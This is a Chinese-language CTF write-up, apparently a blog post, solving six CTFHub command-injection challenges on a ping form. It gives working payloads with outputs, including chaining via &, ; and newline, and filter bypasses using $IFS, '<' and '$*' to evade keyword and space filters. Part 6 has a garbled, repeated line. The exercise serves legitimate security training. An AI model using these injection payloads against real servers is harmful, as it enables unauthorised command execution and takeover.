0、前言
0.1 、什么是RCE
RCE全称:Remote Command/Code Execute,远程命令执行或者代码执行。RCE漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。
为什么会有命令执行漏洞呢?因为应用有时需要调用一些执行系统命令的函数,当用户调用这些函数时,由于Web应用的脚本代码在执行命令的时候过滤不严,从而注入一段攻击者能够控制的代码,在服务器上执行恶意指令。命令执行漏洞是PHP应用程序中最常见的漏洞之一。
0.2 、ctfhub-RCE所在路径
访问网址:https://www.ctfhub.com/#/skilltree
,所在路径:技能树->CTF->Web->RCE
1、命令注入-无过滤
考虑到服务应该是linux系统,所以用linux命令,查看当前目录的是
# 使用&,不管前面是否执行,后面的命令都会执行
127.0.0.1&ls
#执行结果是
Array
(
[0] => 30472334127350.php
[1] => index.php
[2] => PING 127.0.0.1 (127.0.0.1): 56 data bytes
)
由于在浏览器上看不到flag,使用Burp Suite拦截测试,看到随机数字命名的文件,使用cat命令查看
127.0.0.1%26cat+30472334127350.php
看到flag是注释的,值是:ctfhub{e1cdd193c98190f0dded7961}
2、命令注入-过滤cat
跟第1题一样,先用ls查看目录文件
# 使用&,不管前面是否执行,后面的命令都会执行
127.0.0.1&ls
#执行结果是
Array
(
[0] => flag_91981251112176.php
[1] => index.php
[2] => PING 127.0.0.1 (127.0.0.1): 56 data bytes
)
使用Burp Suite拦截测试,看到随机数字命名的文件,因为cat命令被过滤不能使用,使用more命令代替查看
127.0.0.1%26more+flag_91981251112176.php+
看到flag是注释的,值是:ctfhub{2da040655d87b88f4037df80}
3、命令注入-过滤空格
参考博客:https://blog.csdn.net/ssss39/article/details/134434486
跟第1题一样,先用ls查看目录文件
# 使用&,不管前面是否执行,后面的命令都会执行
127.0.0.1&ls
#执行结果是
Array
(
[0] => flag_123801788413874.php
[1] => index.php
[2] => PING 127.0.0.1 (127.0.0.1): 56 data bytes
)
使用Burp Suite拦截测试,看到随机数字命名的文件,因为过滤空格不能使用,使用引入绕过空格过滤的字符:
< ``、<>、%20(space)、%09(tab)、$IFS$9、 ${IFS}、$IFS等
,本次使用<
URL编码是%3C,查看文件命令用more
127.0.0.1%26more%3Cflag_123801788413874.php
看到flag是注释的,值是:ctfhub{a2ec6ad68e25951c864afc0c}
4、过滤目录分隔符
参考博客:https://blog.csdn.net/qq_43006864/article/details/123890087
跟第1题一样,先用ls查看目录文件
# 使用&,不管前面是否执行,后面的命令都会执行
127.0.0.1&ls
#执行结果是
Array
(
[0] => PING 127.0.0.1 (127.0.0.1): 56 data bytes
[1] => flag_is_here
[2] => index.php
)
使用Burp Suite拦截测试,看到目录flag_is_here,由于过滤目录分割符,就是命令里面不可以出现/
,那么需要多条命令拼接使用;
URL编码%3B
,通过ls
命令知道,cd
命令切换到目录flag_is_here查看文件名,然后再cat命令查看文件内容。
# 先获取目标文件名
127.0.0.1%3Bcd+flag_is_here%3Bls
# 查询结果
Array
(
[0] => PING 127.0.0.1 (127.0.0.1): 56 data bytes
[1] => flag_227782411420576.php
)
# 再查看文件内容
127.0.0.1%3Bcd+flag_is_here%3Bls%3Bcat+flag_227782411420576.php
看到flag是注释的,值是:ctfhub{d3d9d4d88ce473e2746797fb}
5、过滤运算符
由于过滤了运算符,拼接使用;
URL编码%3B
,ls
命令查看目录
127.0.0.1%3Bls
#执行结果是
Array
(
[0] => PING 127.0.0.1 (127.0.0.1): 56 data bytes
[1] => flag_249742260718875.php
[2] => index.php
)
使用Burp Suite拦截测试,看到随机数字命名的文件,使用cat命令查看
127.0.0.1%3Bcat+flag_249742260718875.php
看到flag是注释的,值是:ctfhub{20f495c6c2b7b228512105fd}
6、综合过滤练习
参考博客:https://blog.csdn.net/qq_43006864/article/details/123988681
从题目的展示的源码发现过滤了&、;、|、||
,空格,cat命令,对于多个命令使用换行符,URL编码%0a,
URL编码表一览:https://www.laike.net/article-87-96862-0.html
所以,查看目录命令是
# 查看目录命令
127.0.0.1%0als
#执行结果是
Array
(
[0] => PING 127.0.0.1 (127.0.0.1): 56 data bytes
[1] => flag_is_here
[2] => index.php
)
接下来先查看flag_is_here目录下有什么文件,但是flag也被过滤了,空格可以用 I F S 代替,在没有定义的情况下, {IFS}代替,在没有定义的情况下, IFS代替,在没有定义的情况下,*在shell命令执行下为空,使用url编码中,%0a是换行符拼接。
#查看flag_is_here目录下有什么文件命令
127.0.0.1%0acd${IFS}fl$*a$*g_is_here%0als
#执行结果是
Array
(
[0] => PING 127.0.0.1 (127.0.0.1): 56 data bytes
[1] => flag_295443149417453.php
)
cat命令被过滤不可使用,使用more命令
# 查看文件命令
127.0.0.1%0acd${IFS}fl$*a$*g_is_here%0amore${IFS}fl$*a$*g_295443149417453.php
看到flag是注释的,值是:ctfhub{a39c4136f878448824217570}
7、下期内容预告
下期会继续分享跟RCE相关内容,命令执行漏洞复现需要的环境准备,敬请关注我的公众号:大象只为你,持续更新中…